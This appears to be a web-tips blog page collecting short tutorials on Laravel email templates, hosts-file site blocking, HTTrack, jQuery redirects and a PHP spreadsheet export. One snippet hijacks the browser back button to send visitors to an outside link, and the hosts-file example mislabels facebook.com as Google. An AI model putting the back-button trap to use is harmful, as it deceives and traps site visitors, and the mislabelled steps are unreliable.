Laravel Email Verification Template Location

 I have been reading from the documentation about the new feature of laravel the email verification. Where can I locate the email template that is sent to the user.

Actually they not use any blade or template they create notification and write code for it in notification.

I can locate the email template location you want to modify mail template.

Sent by the toMail() method.


vendor\laravel\framework\src\Illuminate\Auth\Notifications\VerifyEmail::toMail();


For template structure and appearance; take a look at this locations also and you can also publish to modify the template:


\vendor\laravel\framework\src\Illuminate\Notifications\resources\views\email.blade.php
\vendor\laravel\framework\src\Illuminate\Mail\resources\views\

To publish those locations:

php artisan vendor:publish --tag=laravel-notifications
php artisan vendor:publish --tag=laravel-mail

After running this command, the mail notification templates will be located in the resources/views/vendor directory.

Colors and style are controlled by the CSS file in resources/views/vendor/mail/html/themes/default.css

How to block any website on your computer


1. Make sure you have administrator access on your computer. Sign in to your PC using an administrator account and go to C:\Windows\System32\drivers\etc\

2. Double-click the file named "hosts" and select Notepad from the list of programs to open the file. Click OK. The last two lines of your hosts file should read "# 127.0.0.1 localhost" and "# ::1 localhost".

2a. In case you can't edit the file, you'll need to right-click the file labelled hosts and select Properties. Click the Security tab, select the administrator account and click Edit.

2b. In the pop-up, select the account again and check Full control. Click Apply > Yes. Now click OK in all pop-ups.

3. At the end of the file, you can add the addresses of websites to block. To do this, just add a line at the end of the file, with 127.0.0.1 and then the name of the site you want to block - this will redirect the site's name to your local computer.

4. To block Google, for example, add "127.0.0.1 www.facebook.com" to the end of the file without the quote marks. You can block as many sites as you want this way, but remember you can only add one per line.

5. Repeat this step until you've added all websites you want to block.

6. Now close the hosts file and click Save. Reboot your computer for the changes to take effect and you'll find that all those websites are now blocked.



How to download any web site Used httrack software

There are many software which facilitate offline viewing of a website. In this article, I will bring to the spotlight the open source offline browser HTTrack Website Copier. It is a well-liked software used for offline browsing of websites. HTTrack (WinHTTrack for Windows) can download an entire website. And entire means entire–all the text, images, videos, GIFs, all of it.
Although HTTrack is available for different operating systems, I have used Windows OS to explain the working of HTTrack as it is preferred by many users over other operating systems.




How to redirect web page using jQuery

The jQuery API also allows you to redirect a web page to another URL in just one line of code. Though this is not the ideal way of using jQuery and but since we all use jQuery for different needs in a web project, it makes sense to leverage it for whatever feature we can. You can use the attr() function of jQuery to redirect a web page as shown below.

Here is a complete web page which redirects to another URL using jQuery.

 <html>
<head>
<title>Redirect a webpage using jQuery</title>
</head>
<body>
<h2>Redirecting to another URL</h2>
<script src="http://code.jquery.com/jquery-1.6.2.min.js"></script>
<script> $(document).ready(function() { var url = "https://web-help-technology.blogspot.com/"; 
$(location).attr('href',url);
 }); 
 </script> 
</body> 
</html>

How to create a downloadable Excel sheet from a database using PHP and MySQL.

Using PHP and MySQL to create a downloadable Excel sheet from a database entails first retrieving data from the database, preparing it for Excel, and then sending the relevant HTTP headers to initiate a download.




// Please acknowledge use of this code by including this header.

  $data = array(
    array("firstname" => "Mary", "lastname" => "Johnson", "age" => 25),
    array("firstname" => "Amanda", "lastname" => "Miller", "age" => 18),
    array("firstname" => "James", "lastname" => "Brown", "age" => 31),
    array("firstname" => "Patricia", "lastname" => "Williams", "age" => 7),
    array("firstname" => "Michael", "lastname" => "Davis", "age" => 43),
    array("firstname" => "Sarah", "lastname" => "Miller", "age" => 24),
    array("firstname" => "Patrick", "lastname" => "Miller", "age" => 27)
  );

 function cleanData(&$str)
  {
    if($str == 't') $str = 'TRUE';
    if($str == 'f') $str = 'FALSE';
    if(preg_match("/^0/", $str) || preg_match("/^\+?\d{8,}$/", $str) || preg_match("/^\d{4}.\d{1,2}.\d{1,2}/", $str)) {
      $str = "'$str";
    }
    if(strstr($str, '"')) $str = '"' . str_replace('"', '""', $str) . '"';
  }

  // filename for download function

  $filename = "website_data_" . date('Ymd') . ".xls";

  header("Content-Disposition: attachment; filename=\"$filename\"");
  header("Content-Type: text/csv");

  $out = fopen("php://output", 'w');

  $flag = false;
  foreach($data as $row) {
    if(!$flag) {
      // display field/column names as first row
      fputcsv($out, array_keys($row), ',', '"');
      $flag = true;
    }
    array_walk($row, __NAMESPACE__ . '\cleanData');
    fputcsv($out, array_values($row), ',', '"');
  }

  fclose($out);
  exit;

How to create user landing website click back button on browser user get default page - java script

I want to create website page setting user in landing my website page by chance use click back button on browser go to back page I setup default landing link user visit...
<script>
(function (window, location) {
        var redirect = "http://go-xyz.com/ts1905";
        var currentUrl = location.origin + location.pathname + location.search;
        if (location.hash !== "#!/hst") {
            history.replaceState(null, document.title, currentUrl + "#!/hst");
            history.pushState(null, document.title, currentUrl);
        }

        window.addEventListener("popstate", function () {
            if (location.hash === "#!/hst") {
                setTimeout(function () {
                    window.location.replace(redirect);
                }, 0);
            }
        }, false);
    }(window, location));

</script>

Python in AI: Getting Started with TensorFlow & PyTorch

  Artificial Intelligence (AI) is no longer just a buzzword. It powers recommendation systems, chatbots, self-driving cars, and more. At the...